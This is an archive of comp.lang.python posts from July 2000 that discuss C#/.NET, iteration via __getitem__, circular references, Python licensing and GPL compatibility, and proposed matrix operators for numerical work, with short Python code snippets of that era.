From: cmyanko at bigfoot.com (Hartford Hackers)
Date: Tue, 25 Jul 2000 12:07:08 GMT
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com>
Message-ID: <8ljvta$epd$1@nnrp1.deja.com>

Is it me or has it been totaly missed that C# sits on top of the Common
Language Runtime Libray. It supports, Eifle, Perl, Python, VB, C++, C#
and Java. Any language can call any object from any other language!

So... if your looking for a way to *sell* Python to management, you
now  have the ammo to do so. Simply express why you chose Python as the
implementation language! There's the list, you pick the one that works
best for you. VB is, and will be, the best solution for UI's and C++
for system level stuff. Python will likely find its niche in the middle
tier, business logic or whatever you want to call it.

My question though, is, how does this effect future versions of Python,
or Perl for that matter? Who controls the distribution of this library?

--
-Curtis Yanko


Sent via Deja.com http://www.deja.com/
Before you buy.


From david_ullrich at my-deja.com  Wed Jul 26 12:55:45 2000
From: david_ullrich at my-deja.com (david_ullrich at my-deja.com)
Date: Wed, 26 Jul 2000 16:55:45 GMT
Subject: conatraints on "for" magic?
References: <8llqso$q75$1@news.dtc.hp.com>
Message-ID: <8ln56f$r78$1@nnrp1.deja.com>

   I don't recall seeing a precise statement about this
in the docs (which no doubt just proves I haven't looked)
but it's in various books for example Lutz (book at home,
title is either "Learning Python" or not): When you
say "for x in someInstance" the __getitem__ is called
repeatedly, with an index starting at 0 and increasing
by 1 each time, terminating when there is an IndexError:

class Squares:
	def __init__(self, count):
		self.count = count
	def __getitem__(self, index):
		if not (index < self.count):
			raise IndexError
		return index*index

for x in Squares(10):
	print x

DU

In article <8llqso$q75$1 at news.dtc.hp.com>,
  weeks at golden.dtc.hp.com ((Greg Weeks)) wrote:
> Initially I learned that
>
>     for x in seq:
> 	<do stuff>
>
> required seq to be a sequence.  But then I saw the code:
>
>     import fileinput
>     for line in fileinput.input():
> 	<do stuff>
>
> How did the implementer of the "fileinput" module convince the "for"
> construct that fileinput.input() was a sequence?
>
> (In "Python ESSENTIAL REFERENCE" I don't find any way of creating
class
> instances that are recognized by "for" as sequences.)
>
> Regards,
> Greg
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From darrell at dorb.com.bbs  Sun Jul 16 23:20:12 2000
From: darrell at dorb.com.bbs (darrell at dorb.com.bbs)
Date: 17 Jul 2000 03:20:12 GMT
Subject: problems trying wxPython in Win 95
Message-ID: <3bQjYC$m5z@openbazaar.net>

My experience with this isn't recent.
But last I checked wxPython didn't work with 1.6, don't know about 2.0. The
demo will work with 1.5.2. I'd suggest uninstalling wxPython, rebooting and
reinstalling it. I had a problem like this when upgrading from the last
version of wxPython.

Also check the wxPython mailing list where others of much greater wxPython
experience hang out. And similar questions have been asked.

--Darrell

----- Original Message -----
From: "Rob" <europax at home.com>
> I want to run the demo program included in wxPython 2.1.  Upon starting it
I
> immediately get the message appended to this post.  I have two versions of
> Python installed-  1.5.2 and 1.6a2.  I tried the demo from both of them
and
> get the same result.  I tried running it from the console, from PythonWin,
> and from IDLE, all with negative results.  Does anyone have an idea of
what
> is going on?
>
> Thanks,  Rob.
>


From robin at jessikat.fsnet.co.uk  Thu Jul 27 06:46:40 2000
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Thu, 27 Jul 2000 11:46:40 +0100
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
References: <200007260357.NAA28707@xevious.dstc.monash.edu.au>
 <8ln84n$380$1@gaia.cdg.acriter.nl>
 <njLf5.12964$4p3.101185@news-server.bigpond.net.au>
Message-ID: <S1Z1K6AQMBg5EwNZ@jessikat.fsnet.co.uk>

The fact that there are dyed in the wool M$ hating academics is surely a
reflection of M$'s past behaviour. The fact that M$ can apparently turn
these guys around so easily says a lot about what M$ is really good at
(selling and hype) and also about what the academics are poor at (real
world judgement). If M$ is doing something for the competition there's a
reason for it. No doubt in the environment addressed by IL Python.NET
(or whatever it comes to be called) will have some critical advantage
which M$ will use in whatever way it sees fit.

This IL stuff is not a big deal intellectually so why doesn't M$ just
release the language definition and sources and let the big & small guys
play?

Which part of a broken up M$ will control IL/.NET? when can we expect
.NET2 or whatever? What parts of the IL/.NET API have not been made
public? Etc. Etc.
-Tee-shirt thinking really won't cut it-ly yrs
Robin Becker


From davidw at linuxcare.com  Fri Jul 28 07:38:54 2000
From: davidw at linuxcare.com (David N. Welton)
Date: 28 Jul 2000 13:38:54 +0200
Subject: The State of Python
References: <LNBBLJKPBEHFEDALKOLCEEGAGMAA.tim_one@email.msn.com> <slrn8o1co0.k64.stianh@localhost.localdomain> <8lqg6o$k2k$1@slb1.atl.mindspring.net>
Message-ID: <87zon21o35.fsf@eugene.prosa.it>

"Andrew Dalke" <dalke at acm.org> writes:

> Stian Husemoen wrote:

> I would still be using Tcl or start looking at Lua or Ruby or other
> languages.

A very interesting "other language" is elastiC, at
www.elasticworld.org.  The author is a Python fan (and smalltalk,
scheme, objective C, etc..)

-- 
David N. Welton, Responsabile Progetti Open Source, Linuxcare Italia spa
tel +39.049.8043411 fax +39.049.8043412 cel +39.348.2879508
davidw at linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From thomas at xs4all.net  Mon Jul 10 15:40:46 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Mon, 10 Jul 2000 21:40:46 +0200
Subject: Circular reference problem -- advice?
In-Reply-To: <20000710123559.A2218@freei.com>; from sblakey@freei.net on Mon, Jul 10, 2000 at 12:35:59PM -0700
References: <396A1EC6.6738CFCC@alcyone.com> <20000710123559.A2218@freei.com>
Message-ID: <20000710214046.P26534@xs4all.nl>

On Mon, Jul 10, 2000 at 12:35:59PM -0700, Sean Blakey wrote:

> Also, your self.map looks like it duplicates the information in the builtin
> self.__dict__.  Parhaps you could use that instead?
>     def dispatch(self, name):
>         self.__dict__[name]()

Don't forget that an instnace's __dict__ doesn't list methods, just data
members. (instance methods are created on the fly, from the unbound
versions, and not stored in the instance's __dict__.)

getattr() will work though, hadn't thought about that one ;)

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From rhicks at rma.edu  Thu Jul 20 21:12:52 2000
From: rhicks at rma.edu (Robert)
Date: Fri, 21 Jul 2000 01:12:52 GMT
Subject: Source-Navigator and Python
Message-ID: <3977A474.43AE035B@rma.edu>

Wouldn't it be nice if Source-Navigator (just released as GPL by Redhat)
had a Python plug-in...



From roy at popmail.med.nyu.edu  Wed Jul  5 07:53:47 2000
From: roy at popmail.med.nyu.edu (Roy Smith)
Date: Wed, 05 Jul 2000 07:53:47 -0400
Subject: Nth digit of PI
References: <bivnjsoq0amb8qjmqtgkbfjsl2df2n2tta@4ax.com> <FvuAy4.51q@cwi.nl> <8hogt2$57t$1@nnrp1.deja.com> <8houlu$j9s$1@nntp.itservices.ubc.ca> <394889C3.1ED5@esatclear.ie> <t7545.239$ZR1.2944@news.uswest.net> <20000705071827.A1015156@vislab.epa.gov>
Message-ID: <roy-96FA97.07534705072000@netnews.nyu.edu>

Randall Hopper <aa8vb at yahoo.com> wrote:
>  Pi^2/8 = sum(n=1..inf, 1/(2n-1)^2)

Interesting, I've never seen that one before.

It's not a very efficient way to compute pi (I know, that's not what you were 
trying to do).  A little experimentation shows that 1000 terms only gets you 4 
significant digits correct, and 10,000 terms still only had 5!

-- 
Roy Smith <roy at popmail.med.nyu.edu>
New York University School of Medicine



From dwhite2 at seas.upenn.edu  Thu Jul 27 17:31:27 2000
From: dwhite2 at seas.upenn.edu (David White)
Date: Thu, 27 Jul 2000 17:31:27 -0400
Subject: javadoc equivalent for python?
Message-ID: <3980AA2F.4E4E6E1F@seas.upenn.edu>

Hi all,

Is there an equivalent python application to javadoc? 

thanks,
david


From lull at acm.org  Thu Jul 20 01:40:07 2000
From: lull at acm.org (John Lull)
Date: 20 Jul 2000 00:40:07 -0500
Subject: Operators for matrix: current choices (Was Matlab vs Python ...)
References: <Pine.GSO.4.10.10007181039370.11187-100000@sundial> <Pine.LNX.4.10.10007180134360.9411-100000@rock.localdomain>
Message-ID: <j24dnsslfirbi226a2770uneaepgq12ajj@4ax.com>

Huaiyu Zhu <huaiyu_zhu at yahoo.com> wrote (with possible deletions):

>    A variant: only use .E for elementwise.  Always return matrixwise.  This
>    is simply just using casting to help select among two methods denoted by
>    the same binary symbol.  Does not look much better than 4 but worth
>    considering.

Might I suggest .e instead of .E?  .e* just looks a lot more like an
operator to me than .E*.  I think it makes the resulting expressions
more readable.

Regards,
John


From perer at cica.es  Thu Jul  6 03:21:19 2000
From: perer at cica.es (Manuel Perera)
Date: Thu, 06 Jul 2000 09:21:19 +0200
Subject: [URGENT]: Setting PYTHONHOME and PYTHONLIB
Message-ID: <3964336F.E6ECA187@cica.es>

Hello,

I'm using Debian in a machine, where I'm not root. I need to set the
variables PYTHONHOME
and PYTHONLIB , I've uncompressed the packages python-base...deb and
python-base..tk... in
/tmp/python, so I have this kind of directory structure: 
/tmp/python/usr/bin/python
/tmp/python/usr/lib/python ...

Any help would be gratefully welcomed. 
-- 
MGA


From aahz at netcom.com  Mon Jul 31 14:35:51 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 31 Jul 2000 18:35:51 GMT
Subject: [5th Draft] Open Letter to CNRI: Request for clarification
References: <3985D797.E5D2FC08@nowonder.de>
Message-ID: <8m4gu7$dqt$1@slb7.atl.mindspring.net>

In article <3985D797.E5D2FC08 at nowonder.de>,
Peter Schneider-Kamp  <nowonder at nowonder.de> wrote:
>
><flame-shield>Should I add email addresses?</flame-shield>

Actually, that's probably a good idea, unless someone objects.

>--- begin open letter -------------------------------------------------
>To: Dr. Robert E. Kahn <rkahn at cnri.reston.va.us>,
>    (president of The Corporation for National Research Initiatives)
>
>Dear Dr. Kahn,
>
>many people in the Python community around the newsgroup
>comp.lang.python are deeply concerned about the latest license
>issues that have arisen around the new 1.6/2.0 releases.

Capitalize "many people".  I'd shorten this to

"Many people in the Python community have concerns about the license
issues that have popped up around the new 1.6/2.0 releases."

>The following attached signatures represent people from the Python
>community who would like some clarification regarding the future of the
>Python language. As of now, there has been no official statement from
>your institution regarding the new Python license. We are especially
>interested in the underlying intention of this change. So we request
>a plain-English, non-legalese statement regarding the purpose of that
>change and the ways in which it affects Python's use.

Looks mostly good to me.  Go ahead and add my name:

Aahz, aahz at pobox.com
--
                      --- Aahz (Copyright 2000 by aahz at pobox.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

NOTE: end of September, Earthlink kills Netcom.  My new permanent address is 
aahz at pobox.com.  I have not decided where to set my primary shell account.
Please do not send me e-mail condolences; my mailbox is already too big.


From max at alcyone.com  Fri Jul 28 15:14:31 2000
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 28 Jul 2000 12:14:31 -0700
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <39814767.FFEFE5D0@infercor.no> <slrn8o37v3.3ok.grey@teleute.rpglink.com>
Message-ID: <3981DB97.E367C81E@alcyone.com>

Steve Lamb wrote:

>     Nope.  1 + "foo" = 1.  Perl uses the a different syntax to put
> strings
> together.  + is only a mathematical operator, not a math and string
> operator.

In Perl you need two operators for mathematical addition (+) and string
concatination (.) because Perl is very weakly typed.  Python is strongly
typed, so this is unnecessary.  + for integers (floats, longs, etc.)
means addition, and + for strings means concatenation.  What you're
suggesting is mixing the two meanings, which is horribly ambiguous and a
terribly bad idea for a strongly typed language.

If 1 + 1 == 2 and '1' + '1' == '11' (note, not 11), then what should 1 +
'1' or '1' + 1 do?  Implicit type conversion between incompatible types
(integer and string) is a bad idea in a strongly-typed language.

That's not how it's done in Perl, but who cares?  This isn't Perl, and
in fact Python's strong typing means that looking to Perl for language
advice is a very bad idea, because the way Perl works is predicated on
its weak typing.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE
/  \ You must surely know / If man made Heaven, then man made Hell
\__/ Level 42
    Interstelen / http://www.interstelen.com/
 A multiplayer, strategic, turn-based Web game on an interstellar scale.


From johannes at zellner.org  Fri Jul  7 20:47:06 2000
From: johannes at zellner.org (Johannes Zellner)
Date: Sat, 8 Jul 2000 02:47:06 +0200 (CEST)
Subject: Help! Indenting craziness!
In-Reply-To: <8k5pev$182l$1@nntp1.ba.best.com>
Message-ID: <Pine.LNX.4.21.0007080246230.9807-100000@krispc6.physik.uni-karlsruhe.de>

On 7 Jul 2000, Adam Clark wrote:

> Hi all,
> 
> Does anybody have a technique for avoiding syntax errors due to blank,
> unindented lines?  I'm getting these on a regular basis, and I haven't
> figured out any reliable way to fix them.  Sometimes if I take every line
> in the vicinity, backspace it to the end of the previous line, and 
> reposition it, the errors go away.  But often they don't, and I end up
> just deleting chunks and rewriting them until Python stops complaining.
> 
> This is with Emacs and python-mode.

switch to vim and type `:set list' ;-)

-- 
   Johannes




From richard_chamberlain at ntlworld.com  Wed Jul  5 16:30:06 2000
From: richard_chamberlain at ntlworld.com (richard_chamberlain)
Date: Wed, 5 Jul 2000 21:30:06 +0100
Subject: Embedded apps and range???
References: <8k0331$n7d$1@nnrp1.deja.com>
Message-ID: <6UM85.860$dL5.16129@news6-win.server.ntlworld.com>

What is sz assigned to?

>>> sz=3
>>> for i in range(sz):
...  print i
...
0
1
2
>>> for i in range(1,sz):
...  print i
...
1
2

An integer works fine.

Richard

Arint? <jamarijr at hotmail.com> wrote in message
news:8k0331$n7d$1 at nnrp1.deja.com...
> I am trying to use a range in a for loop
> for i in range(-1,sz):
> devlist[0] = PossDevice.PossArg(resource,i)
> devlist[0].setValue(i)
> ret = diz.set(devlist)
> diz.ioctl("POS_SYS_GET_VALUES",devlist)
> if i not in _range:
> print "Checking for errors " + str(ret)
> checkForErr(ret,error)
>
> I am getting the good old "TypeError: len() of unsized object" error,
> problem is when I use range(sz) or range(1,sz) I don't get the error???
>
>
>
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.




From pduffin at hursley.ibm.com  Mon Jul 31 05:09:34 2000
From: pduffin at hursley.ibm.com (Paul Duffin)
Date: Mon, 31 Jul 2000 10:09:34 +0100
Subject: The State of Python
References: <LNBBLJKPBEHFEDALKOLCCEJHGMAA.tim_one@email.msn.com>
		<39817536.FDBC508D@hursley.ibm.com> <87g0ota6fo.fsf@psyche.evansnet>
Message-ID: <3985424E.90C4AC49@hursley.ibm.com>

Carey Evans wrote:
> 
> Paul Duffin <pduffin at hursley.ibm.com> writes:
> 
> > What does GPL compatible mean ?
> 
> It means you can distribute a program derived from both GPL-licensed
> code and (in this case) CNRI-licensed code, given the conditions in
> section 6 of the GPL:
> 
>    ... You may not impose any further restrictions on the recipients'
>    exercise of the rights granted herein. ...
> 

So a GPL compatible license is simply one whose Terms and Conditions do 
not conflict with the GPL license.

Does this mean that it is possible to create a GPL version of Python ? 

If so then this would result in a split as patches submitted under the
original license could be merged into the GPL version but the reverse
direction would not be allowed, otherwise they would both end up a GPL.

> For example, the Apache license is not GPL-compatible because it
> adds an additional restriction:
> 
>    3. All advertising materials mentioning features or use of this
>       software must display the following acknowledgment:
>       "This product includes software developed by the Apache Group
>       for use in the Apache HTTP server project (http://www.apache.org/)."
> 
> This means you can't distribute a program based on Apache-licensed and
> GPL-licensed software.
> 

The viral effect of GPL still applies of course so any derived code has
to be licensed under the GPL.

Is there a list of GPL compatible (and incompatible) licenses ?


From pablo.prieto at dulcesol.es  Tue Jul  4 07:41:23 2000
From: pablo.prieto at dulcesol.es (Pablo Prieto)
Date: Tue, 04 Jul 2000 12:41:23 +0100
Subject: Equivalent to ppm for Python?
References: <3961881d$0$20233@wodc7nh6.news.uu.net>
Message-ID: <3961CD63.553F6D46@dulcesol.es>

"donotspam-jen at personic.com" escribi?:
> 
> Is there anything like PPM for Python?  For those who don't know, PPM is the
> Perl Package Manager
> (http://www.activestate.com/Support/ActivePerl/PPM.html).  PPM is a utility
> that will go out and download and install packages for you from the Internet
> (at least on Win32 -- I assume it works elsewhere, too).
> 
> Jen


Sorry. This is not a reply. Just a request for this question be answered
since I'm interested in it too.
Have a nice day.
Pablo.



From dalke at acm.org  Thu Jul 27 12:18:10 2000
From: dalke at acm.org (Andrew Dalke)
Date: Thu, 27 Jul 2000 10:18:10 -0600
Subject: Variables in strings..
References: <8lh75e+tjtl@eGroups.com> <119330503709.20000724135021@buz.ch> <8liokm$je0$1@slb6.atl.mindspring.net>
Message-ID: <8lpn4p$j67$1@slb6.atl.mindspring.net>

(horn tooting follows)

I wrote:
>You could write a wrapper, like:
>
>class LookupConverter:
>  def __init__(self, dict):
>    self.dict = dict
>  def __getitem__(self, name):
>    return eval(name, {"__builtins__": {}}, self.dict)
>

I should have shown the even more impressive

>>> import math
>>> lookup = LookupConverter(locals())
>>> "cos(45 degrees) == %(math.cos(math.pi/4))f" % lookup
'cos(45 degrees) == 0.707107'

Try doing *that* in Perl :)  But seriously, I am impressed that
this can be done at all, since it understands balanced parens,
although not quotes:

>>> "%(f('))', 9)s" % {}
Traceback (innermost last):
  File "<interactive input>", line 1, in ?
KeyError: f(')

Is this a bug?

                    Andrew







From gregory.lielens at fft.be  Thu Jul 20 11:37:12 2000
From: gregory.lielens at fft.be (Gregory Lielens)
Date: Thu, 20 Jul 2000 17:37:12 +0200
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com>
	 <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk>
Message-ID: <39771CA8.A1BF8D6E@fft.be>

Robin Becker wrote:
> 
> In article <8l6vul$5ig$1 at slb3.atl.mindspring.net>, Aahz Maruch
> <aahz at netcom.com> writes
> >In article <Pine.LNX.4.10.10007191505070.1129-100000 at rocket.knowledgetrack.com>,
> >Huaiyu Zhu  <huaiyu_zhu at yahoo.com> wrote:
> >>
> >>        matrix          element      names (with prefix m or e)
> >>          +               .+            add
> >>          -               .-            sub
> >
> >I am strongly opposed to operators of the form ".+".  What happens if
> >take an expression of the form "5.+matrix"?  No, that goes against the
> >Python rule of having zero ambiguity.
> >--
> >                      --- Aahz (Copyright 2000 by aahz at netcom.com)
> >
> ...
> people keep talking about matrix operations as though there is only one
> way to do one kind of matrix multiply; I use at least two (inner, outer)
> commonly, but others eg Kronecker or Lie are certainly in use. I don't
> think any proposal which doesn't address this is likely to get my vote.
> --
> Robin Becker

Are you talking of matrices, or Nd arrays? I am only aware of one kind
of matrix multiply, defined as

a=b @ c <=> a(i,j) = b(i,k) * c(k,j)   (using summation over repeated
indices, @ stand for the yet-to-be-defined matrix mul operator)

For Nd arrays, there is indeed more possibilities, and I fear adressing
all of them could be too much to ask to "simple" infix operators....
I propose to extend the meaning of the matrix multiply to Nd arrays as
a=b at c <=> a(i1,...,in,j1,...,jm) = b(i1,...,in,k) * c(k,j1,...,jm)

For general inner/outer product, something in the line of Yorick
notation is imho unavoidable

a=b[,,Contract,Contract]@c[,Contract,,Contract] would stand for
a(i,j,k,l)=b(i,j,c1,c2)*c(k,c1,l,c2)
Replace Contract keyword with + sign, and you almost have Yorick
notation...

Kronecker/lie, I am not really aware of what they are...but I guess they
would be writable in a general inner/outer framework, with the help of
special arrays/tensors (correct me if am completely off on this!)

imho Division (right and left) belongs to pure matrices, and can not
really be generalized
I feel that way because I am not aware of a well defined inverse for a
Nd array ...(should someone be interrested in this I could post a
discussion I had with Travis Oliphant, from NumPy group)

Greg.


From thomas at xs4all.net  Sun Jul 16 10:55:39 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Sun, 16 Jul 2000 16:55:39 +0200
Subject: [Patch] {l,r}just with optional pad character parameter
In-Reply-To: <8kshd3$l1h$2@bw107zhb.bluewin.ch>; from beat.bolli@earthling.net on Sun, Jul 16, 2000 at 04:38:05PM +0200
References: <8kshd3$l1h$2@bw107zhb.bluewin.ch>
Message-ID: <20000716165538.V7340@xs4all.nl>

On Sun, Jul 16, 2000 at 04:38:05PM +0200, Beat Bolli wrote:

> this is my first crack at Python patching. I was simply appalled to find
> '3'.zfill(5) not working anymore in 2.0b1, so I decided to do something
> about it. Now since zfill can be expressed as rjust with an optional pad
> characer argument, I implemented this.

Excellent ! But as you might know, Python has moved to SourceForge, which
includes a Patch Manager. It would definately be best to post your patch
there, including some comments on why it is necessary. If you can't post it
there for some reason, send it to python-dev at python.org.

Oh, and read http://www.python.org/patches/', it contains some hints about
submitting a patch and coding style and such.

As for the patch itself, it looks okay, though I'd say the restriction on
padchar being a single character is a bit strange. Why not allow multiple
characters as padding ? string.join() allows strings instead of single
characters, too.

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From rhicks at rma.edu  Tue Jul 18 14:33:17 2000
From: rhicks at rma.edu (Robert)
Date: Tue, 18 Jul 2000 18:33:17 GMT
Subject: Wherefore art thou, 1.6?
References: <3973D0A1.5E1289D9@concentric.net>
Message-ID: <Np1d5.310$RB1.35848@news>

1.6a2 is actually at the PythonLabs site. It is being renamed to Python 2.0
and then next version will be out *soon* according to the website.

Robert

"Manus Hand" <mjhand at concentric.net> wrote in message
news:3973D0A1.5E1289D9 at concentric.net...
> As I assume we all know, there is nothing but an unlinked "Python 1.6"
> at python.org.  I was curious about this, but thought it a temporary
> condition.  That was a while ago, though....
>
> So I did a quick deja.com search through c.l.p to see if I could get
> an explanation.  All I found was someone asking three weeks ago and
> getting, well, no answer.
>
> Can someone please post a status on 1.6?
>
> Thanks,
> Manus (who is using [and loves] 1.6a2 and lives in fear that the 1.6
> release was for some reason decided against in the alpha stage)




From max at alcyone.com  Mon Jul 10 15:06:46 2000
From: max at alcyone.com (Erik Max Francis)
Date: Mon, 10 Jul 2000 12:06:46 -0700
Subject: Circular reference problem -- advice?
Message-ID: <396A1EC6.6738CFCC@alcyone.com>

I'm fairly new to Python, although it's simple enough that I've already
been able to write some fairly involved programs in it (I already know
C, C++, Perl, etc.).  This question isn't so much about what's going
wrong, but rather what's the best, most natural way to get around it.

I've come across a problem due to circular references, and I'm not sure
what's the best way to tackle it.  In essence, the problem is that I
need a particular class to keep an associative array of its methods for
a lookup table (it's essentially a dispatcher).  But with references to
its own bound methods, Python's garbage collector concludes it has
circular references and thus its destructor never gets called.

Here is a simplified standalone program that demonstrates what I'm
talking about:

class C:
    def __init__(self):
        print "in constructor"
        self.map = { 'f': self.f, 'g': self.g }

    def __del__(self):
        print "in destructor"
    
    def f(self):
        print "in C.f"

    def g(self):
        print "in C.g"

    def dispatch(self, name):
        self.map[name]()


c = C()
c.dispatch('f')

When run, this program prints

    max at charmaine:~/tmp% ./circ.py
    in constructor
    in C.f

and that's it; because of the circular reference, the destructor never
gets called.

For the application I need, it's imperative that the destructor get
called.  What is the best way to solve this?  I can think of a few:

- Move the map to a local variable in the dispatching function
- Make map a lookup table of _unbound_ methods
- Build a string of the function call and then exec it

What would be the most effective way of getting around this?  I'm
thinking that using unbound methods would probably be the best way.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE
/  \ We'll have to make our own luck from now on.
\__/ Louis Wu
    Computer science / http://www.alcyone.com/max/reference/compsci/
 A computer science reference.


From aahz at netcom.com  Tue Jul  4 10:02:05 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 4 Jul 2000 14:02:05 GMT
Subject: Microsoft's  C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <8jqbru017gf@news2.newsguy.com> <2f985.6708$Tb7.40527@news-server.bigpond.net.au> <8js4jc09qf@news1.newsguy.com>
Message-ID: <8jsqot$pj2$1@slb0.atl.mindspring.net>

In article <8js4jc09qf at news1.newsguy.com>,
Alex Martelli <alex at magenta.com> wrote:
>
>Good!  Now if I only knew what:-).  Oh well, guess I'll wing the
>presentation based on "need to keep flexibility in such times of rapid
>change and uncertainty" and Python's excellence at such flexibility.
>Unfortunately our top mgmt is made up of smart guys _and_ they're wise
>to my ways, so I doubt this will fly (maybe I'd better come clean and
>confess I know there IS something but I don't know what and will they
>allow me one more month of research...?-).

Just tell them that a reliable source says that more info will be coming
in two weeks and can you please have a three- or four-week extension on
your presentation so you can present them with Microsoft's
smoke'n'mirrors instead of your faked-up smoke'n'mirrors.
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

The best way to get information on Usenet is not to ask a question,
but to post the wrong information.  --Aahz


From bjorn at roguewave.com  Sun Jul 16 13:41:05 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Sun, 16 Jul 2000 11:41:05 -0600
Subject: Does Python code >.require<< a run-time environment?? (New to  
 Python)
References: <20000714153818.28906.qmail@web5302.mail.yahoo.com> <396F4473.35DCA488@prescod.net> <8F729880Egmcmhypernetcom@199.171.54.194> <3970B9EB.8FF00EF9@prescod.net>
Message-ID: <3971F3B1.B45CEBBE@roguewave.com>

Paul Prescod wrote:

> Gordon McMillan wrote:
> >
> > ...
> > > For Python, you want to look
> > >at
> > >
> > >http://starship.python.net/crew/gmcm/distribute.html
> > >
> > >For Java, at "jexegen.exe".
> >
> > Sorry, Paul, the latter does not bundle in the interpreter. It just
> > packages up byte code and uses a small exe to start your MS JVM.
>
> True, I forgot that because the MS JVM tends to be installed. I think I
> may have exaggerated the features of the former too. Is there any easy
> way to make a single executable for Python, the standard library,
> required .pyd's and your code? My vague impression is that you could if
> you had a compiler and the source for your pyd's, or else you could fall
> back on an installer (rather than a single big runnable app).

Nah, I distribute my xml scripts as windows .exe files all the time
(including the expat dll).  It's actually quite trivial since the builder
only wraps everything into a zip archive and appends it to the special
Python executable.

-- bjorn




From hinsen at cnrs-orleans.fr  Fri Jul 21 05:53:36 2000
From: hinsen at cnrs-orleans.fr (Konrad Hinsen)
Date: 21 Jul 2000 11:53:36 +0200
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <m2n1jcooct.fsf@spiff.home.com> <39772612.CE635178@fft.be> <8l7c80$mlc$1@tomm.stsci.edu> <Pine.LNX.4.10.10007201256340.17820-100000@us2.mayo.edu>
Message-ID: <m3zonb7qsf.fsf@chinon.cnrs-orleans.fr>

Travis Oliphant <olipt at mayo.edu> writes:

> The only question is can the (*) be implemented in the current grammar?  

I see no reason why not. It's no different from other multi-character
operators (!=, <>, **).

> I don't think we should start introducing [*] {*} variants.  That would
> likely weaken our case in the PEP.  

Exactly. In the heat of an active discussion we should not overlook
that we (numerical/scientific users of Python) are a minority in the
Python community. Moreover, our additional operators are not likely to
be of much interest to others. We'll have a hard time arguing for
*any* additional operators, so we should be careful to propose the
smallest reasonable list and avoid anything that could affect other
users in a negative way.

Python esthetics is also an important point, although difficult to
cast into rules. Many pythonists have strong objections against
Perl-like "line noise syntax". What makes Python syntax particularly
clear is the close resemblance to pseudo-code writing style; there are
very few features that one would not use when writing illustrative
pseud-code. I don't think any proposal introducing @ into matrix
operators has a serious chance to get accepted.

The same goes for .* or *. because of the conflict with floating-point
notation. We might come up with a unique rule to disambiguate the
syntax from the parser's point of view, but it will always remain
confusing to users, and there is also a risk of breaking existing
code.

Another point to consider is implementation. In the current Python
implementation, every operator must be implemented by a special method
(or subroutine for C types). This can quickly become messy. There are
other possible arrangements (e.g. all matrix operations could be
mapped to a.__matrix_op__(b, op_code)), but it is in any case better
to keep the number of new operators to a minimum.

It is also worth reminding everyone that we are not discussing the
addition of new features that were not available before. It's only new
syntax for operations that already exist. Unless the operation is
really a frequent one, there is no point in adding operators.

Therefore I agree with Travis that we should probably not ask for
more than the following ones:

> (*)  outer product
> (.)  inner product
> (|)  matrix solve
> (**) matrix power  
>      (^) is better but only if ^ is power (which is not likely!)

For "matrix solve", I propose to follow APL and define it in the sense
of a least-squares solution, implemented via singular value
decomposition (SVD). There are two reasons for this:

1) SVD is stable even for near-singular (or downright singular!) matrices.
   This is one of the few fool-proof algorithms in linear algebra,
   and it spares unexperienced users a lot of trouble.

2) Linear least-squares fits are a sufficiently frequent operation
   in their own right, especially in data analysis tasks.

The only disadvantage is that SVD is slower than a standard solve
algorithm, which however could still be available as a function in
some module.
-- 
-------------------------------------------------------------------------------
Konrad Hinsen                            | E-Mail: hinsen at cnrs-orleans.fr
Centre de Biophysique Moleculaire (CNRS) | Tel.: +33-2.38.25.55.69
Rue Charles Sadron                       | Fax:  +33-2.38.63.15.17
45071 Orleans Cedex 2                    | Deutsch/Esperanto/English/
France                                   | Nederlands/Francais
-------------------------------------------------------------------------------


From huaiyu_zhu at yahoo.com  Thu Jul 20 15:13:52 2000
From: huaiyu_zhu at yahoo.com (Huaiyu Zhu)
Date: Thu, 20 Jul 2000 12:13:52 -0700 (PDT)
Subject: Guidelines for new operators
Message-ID: <Pine.LNX.4.10.10007201159420.1042-100000@localhost.localdomain>

Since I still have not seen Tim's post on my news reader, while the
discussions on the new operators is becoming somewhat more wide ranged than
could possibly be accepted, I'm forwarding it here again.

I don't mind discussing all sorts of possibilities, as long as we are aware
of the limits for final acceptance.  Imho, getting it into the core so that
users do not need to fetch CVS, patch, configure, compile and install python
is a much greater convenience than exactly how the operators look like.  But
I do not mean to put any limits on the discussion itself, as discussing
different possibilities beyond practical limitation often leads to better
insight to the issues at hand.  So go ahead as you like. :-)


Huaiyu

---------- Forwarded message ----------
